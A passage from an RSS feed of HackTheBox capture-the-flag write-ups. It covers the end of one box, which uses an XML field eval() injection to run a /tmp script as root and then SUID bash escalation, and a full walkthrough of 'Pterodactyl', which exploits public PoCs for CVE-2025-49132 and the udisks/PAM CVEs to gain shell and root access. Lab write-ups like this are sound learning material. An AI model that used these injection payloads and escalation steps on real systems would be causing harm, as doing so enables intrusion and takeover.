&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Where we put a copy of a &lt;code&gt;bash&lt;/code&gt; binary in a directory that &lt;code&gt;sedric&lt;/code&gt; has full permissions of (like &lt;code&gt;/tmp&lt;/code&gt;) and give it improper SUID permissions (&lt;code&gt;chmod +s&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ll craft our XML request to inject a Python expression into the &lt;code&gt;firstname&lt;/code&gt; field. Since the server passes this field directly into an &lt;code&gt;eval()&lt;/code&gt;&amp;rsquo;d f-string, wrapping our payload in &lt;code&gt;{}&lt;/code&gt; causes it to be executed as Python code by the root-owned process:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wget -q -O - --post-data&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;patient&amp;gt;&amp;lt;firstname&amp;gt;{__import__(&amp;#34;os&amp;#34;).popen(&amp;#34;/tmp/pwn.sh&amp;#34;).read()}&amp;lt;/firstname&amp;gt;&amp;lt;lastname&amp;gt;Smith&amp;lt;/lastname&amp;gt;&amp;lt;sender_app&amp;gt;app&amp;lt;/sender_app&amp;gt;&amp;lt;timestamp&amp;gt;12/12/2024&amp;lt;/timestamp&amp;gt;&amp;lt;birth_date&amp;gt;01/01/1990&amp;lt;/birth_date&amp;gt;&amp;lt;gender&amp;gt;M&amp;lt;/gender&amp;gt;&amp;lt;/patient&amp;gt;&amp;#39;&lt;/span&gt; --header&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Content-Type: application/xml&amp;#39;&lt;/span&gt; http://127.0.0.1:54321/addPatient
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Patient Smith &lt;span class="o"&gt;(&lt;/span&gt;M&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="m"&gt;36&lt;/span&gt; years old, received from app at 12/12/2024
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Using flag &lt;code&gt;-p&lt;/code&gt; to call &lt;code&gt;/tmp/bash&lt;/code&gt;, we specify that we want to run with the &lt;a href="https://stackoverflow.com/questions/32455684/difference-between-real-user-id-effective-user-id-and-saved-user-id"&gt;effective UID&lt;/a&gt; of root:
&lt;code&gt;sedric@interpreter:~$ /tmp/bash -p&lt;/code&gt;&lt;/p&gt;
&lt;h1 id="reflection"&gt;Reflection&lt;/h1&gt;
&lt;p&gt;I learned some really cool things during this engagement. The first thing I learned about was that &lt;em&gt;some boxes are privy to weird characters&lt;/em&gt;, notably the ones found in reverse shells. A straightforward way to get around this is to base64 encode the payload with the many shell-escaping characters it may include.&lt;/p&gt;
&lt;p&gt;I also learned a bit about hashes. SHA256, as its name implies, is 256 bits = 32bytes, and we could potentially identify an embedded salt in a hash if we find that its byte count exceeds the expected value. Extracting the individual salt and password bytes and concatenating them into a single base64 string (with a delineator of some kind) was what led to a successful crack.&lt;/p&gt;
&lt;p&gt;I got to learn about XML Python injection as well as be reminded of SUID manipulation for privilege escalation.&lt;/p&gt;</description></item><item><title>HackTheBox Writeup - "Pterodactyl"</title><link>https://mdunn99.com/posts/pterodactyl-htb/</link><pubDate>Fri, 03 Apr 2026 00:00:00 +0000</pubDate><guid>https://mdunn99.com/posts/pterodactyl-htb/</guid><description>&lt;p&gt;Pterodactyl is a medium difficulty Linux HackTheBox machine: &lt;a href="https://app.hackthebox.com/machines/Pterodactyl?sort_by=created_at&amp;amp;sort_type=desc"&gt;https://app.hackthebox.com/machines/Pterodactyl?sort_by=created_at&amp;amp;sort_type=desc&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="reconnaissance"&gt;Reconnaissance&lt;/h1&gt;
&lt;p&gt;I ran a standard nmap service scan:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-nmap" data-lang="nmap"&gt;Not shown: 986 filtered tcp ports (no-response), 10 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
80/tcp open http nginx 1.21.5
443/tcp closed https
8080/tcp closed http-proxy
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I navigated to the web server, which had an unresolvable domain name: pterodactyl.htb. I added the IP to my hosts to resolve it in my browser:
&lt;img src="monitorland_page.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;I did a fuzz using SecList&amp;rsquo;s raft-medium-files on the root directory, adding php and txt extensions just as a standard practice:
&lt;code&gt;ffuf -u http://pterodactyl.htb/FUZZ -w raft-medium-files.txt -e .php,.txt -c&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The fuzz returned files such as &lt;code&gt;index.php&lt;/code&gt;, &lt;code&gt;phpinfo.php&lt;/code&gt;, &lt;code&gt;global.css&lt;/code&gt;, and &lt;code&gt;changelog.txt&lt;/code&gt;. Some things in changelog included useful version information about the server like: &amp;ldquo;[Installed] Pterodactyl Panel &lt;strong&gt;v1.11.10&lt;/strong&gt;&amp;rdquo;, &amp;ldquo;MariaDB &lt;strong&gt;11.8.3&lt;/strong&gt; backend.&amp;rdquo; We&amp;rsquo;ll also collect information in phpinfo.php &lt;a href="https://www.php.net/manual/en/function.phpinfo.php"&gt;which is a valuable trove of config information&lt;/a&gt; related to the PHP server.&lt;/p&gt;
&lt;p&gt;I also make it a habit to enumerate through subdomains, which returned a panel.pterodactyl.htb:
&lt;img src="panel.pterodactyl.htb.png" alt=""&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;After iterating for a while through various version numbers found in phpinfo.php for vulnerabilities, I found a critical severity exploit titled &lt;a href="https://app.opencve.io/cve/CVE-2025-49132"&gt;CVE-2025-49132&lt;/a&gt; with arbitrary write privileges consistent with changelog.txt&amp;rsquo;s claim of the server&amp;rsquo;s Minecraft Pterodactyl Panel &amp;lt;v1.11.9. A &lt;a href="https://github.com/YoyoChaud/CVE-2025-49132"&gt;PoC published by YoyoChaud&lt;/a&gt;)allowed for easy testing.
&lt;img src="yoyochaud_poc.png%7C781" alt=""&gt;
&lt;img src="pterodactyl_rev_shell.png" alt=""&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Upgrading TTY without Python&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m used to getting a clearer shell by using Python, but that&amp;rsquo;s not installed n this box. We can also use the &lt;code&gt;script&lt;/code&gt; command to effectively do the same thing:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;script /dev/null -c bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And then proceed with the standard backgrounding: &lt;code&gt;Ctrl+Z&lt;/code&gt;, echoing the terminal and bringing the background process to the foreground: &lt;code&gt;stty raw -echo; fg&lt;/code&gt;, using &lt;code&gt;reset&lt;/code&gt; and &lt;code&gt;export TERM=xterm&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id="user-privilege-escalation"&gt;User Privilege Escalation&lt;/h1&gt;
&lt;p&gt;Earlier, in php.info, we discovered that a mysqli server also runs on the server on it&amp;rsquo;s default port, 3306. This is confirmed when we run &lt;code&gt;env&lt;/code&gt; to output environment variables to our terminal (truncated):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DB_PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;3306&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DB_HOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;HASHIDS_SALT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;pKkOnx0IzJvaUXKWt2PK
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;PWD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/www/pterodactyl/public
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;APP_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;PteraPanel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;APP_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://panel.pterodactyl.htb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DB_USERNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;pterodactyl
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;APP_SERVICE_AUTHOR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;pterodactyl@pterodactyl.htb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;SESSION_DRIVER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;redis
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DB_CONNECTION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;mysql
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DB_DATABASE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;panel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;_&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/bin/env
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can connect by using mysql on the box: &lt;code&gt;mysql -u pterodactyl -pPteraPanel&lt;/code&gt;, but:
&lt;code&gt;ERROR 1045 (28000): Access denied for user 'pterodactyl'@'localhost' (using password: YES)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I figure I&amp;rsquo;ll manually specify 127.0.0.1 rather than allowing mysql to resolve to localhost using &lt;code&gt;-h 127.0.0.1&lt;/code&gt;, and I can successfully see our databases, notably the locked &lt;code&gt;panel&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-mariadb" data-lang="mariadb"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;MariaDB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;none&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;show&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;databases&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+--------------------+&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;Database&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+--------------------+&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;panel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+--------------------+&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sec&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;panel&lt;/code&gt;&amp;rsquo;s &lt;code&gt;users&lt;/code&gt; table contains some hashes (of which I couldn&amp;rsquo;t crack):
&lt;img src="mysql_users_table.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;I poked around in the root &lt;code&gt;/var/www/pterodactyl&lt;/code&gt; directory and found the &lt;code&gt;artisan&lt;/code&gt; binary, of which I could potentially just create my own user using &lt;code&gt;artisan p:user:make&lt;/code&gt;:
&lt;img src="artisan_user_make.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;Which is then appended to the mysql users db:
&lt;img src="users_table_after_add.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;So, I&amp;rsquo;ll try logging into the pterodactyl panel with my new credentials (mdunn99:password). We have direct access to the other users we saw earlier in the database and can change their passwords:
&lt;img src="panel_users.png" alt=""&gt;
&lt;img src="headmonitor_password.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;Upon numerous SSH attempts, I was still prompted with a password requirement, and &lt;em&gt;overwriting those users&amp;rsquo; passwords was preventing me from using it as a potential duplicate password for the SSH password.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I revisited the cracking attempt and successfully cracked user &lt;code&gt;phileasfogg3&lt;/code&gt;&amp;rsquo;s bcrypt hash which matched their SSH password, and retrieved the user.txt flag.&lt;/p&gt;
&lt;h1 id="root-privilege-escalation"&gt;Root Privilege Escalation&lt;/h1&gt;
&lt;p&gt;As I&amp;rsquo;m checking out files with capabilities and anything that looks interesting on the file system (including the previously mentioned artisan binary), I&amp;rsquo;m running a &lt;a href="https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS"&gt;linpeas.sh instance&lt;/a&gt;, which notifies me that there are some mail messages on the phileasfogg3 user. Let&amp;rsquo;s read:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;From headmonitor@pterodactyl Fri Nov &lt;span class="m"&gt;07&lt;/span&gt; 09:15:00 &lt;span class="m"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Delivered-To: phileasfogg3@pterodactyl
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Received: by pterodactyl &lt;span class="o"&gt;(&lt;/span&gt;Postfix, from userid 0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;id 1234567890&lt;span class="p"&gt;;&lt;/span&gt; Fri, &lt;span class="m"&gt;7&lt;/span&gt; Nov &lt;span class="m"&gt;2025&lt;/span&gt; 09:15:00 +0100 &lt;span class="o"&gt;(&lt;/span&gt;CET&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;From: headmonitor headmonitor@pterodactyl
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;To: All Users all@pterodactyl
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Subject: SECURITY NOTICE — Unusual udisksd activity &lt;span class="o"&gt;(&lt;/span&gt;stay alert&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Message-ID: 202511070915.headmonitor@pterodactyl
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Date: Fri, &lt;span class="m"&gt;07&lt;/span&gt; Nov &lt;span class="m"&gt;2025&lt;/span&gt; 09:15:00 +0100
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MIME-Version: 1.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Content-Type: text/plain&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;utf-8&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Content-Transfer-Encoding: 7bit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Attention all users,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Unusual activity has been observed from the udisks daemon &lt;span class="o"&gt;(&lt;/span&gt;udisksd&lt;span class="o"&gt;)&lt;/span&gt;. No confirmed compromise at this time, but increased vigilance is required.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Do not connect untrusted external media. Review your sessions &lt;span class="k"&gt;for&lt;/span&gt; suspicious activity. Administrators should review udisks and system logs and apply pending updates.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Report any signs of compromise immediately to headmonitor@pterodactyl.htb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;— HeadMonitor
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;System Administrator
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;grepping systemctl for udisks confirms this service is running:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;phileasfogg3@pterodactyl:~&amp;gt; systemctl &lt;span class="p"&gt;|&lt;/span&gt; grep udisks
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;udisks2.service ... loaded active running &lt;span class="p"&gt;|&lt;/span&gt; Disk Manager
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Per the &lt;a href="https://wiki.archlinux.org/title/Udisks"&gt;Arch Linux wiki:&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://man.archlinux.org/man/udisksd.8"&gt;udisksd(8)&lt;/a&gt; is started on-demand by &lt;a href="https://wiki.archlinux.org/title/D-Bus" title="D-Bus"&gt;D-Bus&lt;/a&gt; and should not be enabled explicitly. It can be controlled through the command-line with &lt;a href="https://man.archlinux.org/man/udisksctl.1"&gt;udisksctl(1)&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Running &lt;code&gt;udisksctl dump&lt;/code&gt; will include the version number for udisks2: &lt;strong&gt;2.9.2&lt;/strong&gt;, which reveals a vulnerability that affects a few operating systems. To confirm if the operating system of the box is vulnerable, I read /etc/os-release: &lt;strong&gt;openSUSE Leap 15.6&lt;/strong&gt;, which is a listed vulnerable target for udisks2 versions &amp;gt;= 2.9.2:
&lt;img src="2025-8067-suse.png" alt=""&gt;
&lt;em&gt;Source: &lt;a href="https://www.suse.com/security/cve/CVE-2025-8067.html"&gt;https://www.suse.com/security/cve/CVE-2025-8067.html&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;A PoC is published by &lt;a href="https://github.com/born0monday/CVE-2025-8067"&gt;born0monday&lt;/a&gt;. After running it, I&amp;rsquo;m unfortunately met with this error:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gi.repository.GLib.Error: g-io-error-quark: GDBus.Error:org.freedesktop.UDisks2.Error.NotAuthorizedCanObtain: Not authorized to perform operation &lt;span class="o"&gt;(&lt;/span&gt;36&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A &lt;a href="https://seclists.org/oss-sec/2025/q3/143"&gt;published seclists.org mail/blog&lt;/a&gt; provides us with a helpful hint for getting around this issue:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;So really depends how is your session classified and yes, the attack surface is slightly lower for non-local seats. However, combine it with other CVEs, notably CVE-2025-6018, and you have a bigger problem.&lt;/p&gt;
&lt;p&gt;CVE-2025-6018: LPE from unprivileged to allow_active in *SUSE 15&amp;rsquo;s PAM
&lt;a href="https://www.openwall.com/lists/oss-security/2025/06/17/4"&gt;https://www.openwall.com/lists/oss-security/2025/06/17/4&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;which led me to:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;CVE-2025-6018: LPE from unprivileged to allow_active in SUSE 15&amp;rsquo;s PAM
CVE-2025-6019: LPE from allow_active to root in libblockdev via udisks&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;and &lt;a href="https://www.openwall.com/lists/oss-security/2025/06/17/4"&gt;a website&lt;/a&gt; that walks me through the whole process of exploiting openSUSE Leap 15 &amp;ldquo;via the udisks daemon.&amp;rdquo; I successfully create a malicious payload (on the attack machine) and mount it using a loop block (with udisks) on the victim machine, giving me a root shell.&lt;/p&gt;</description></item></channel></rss>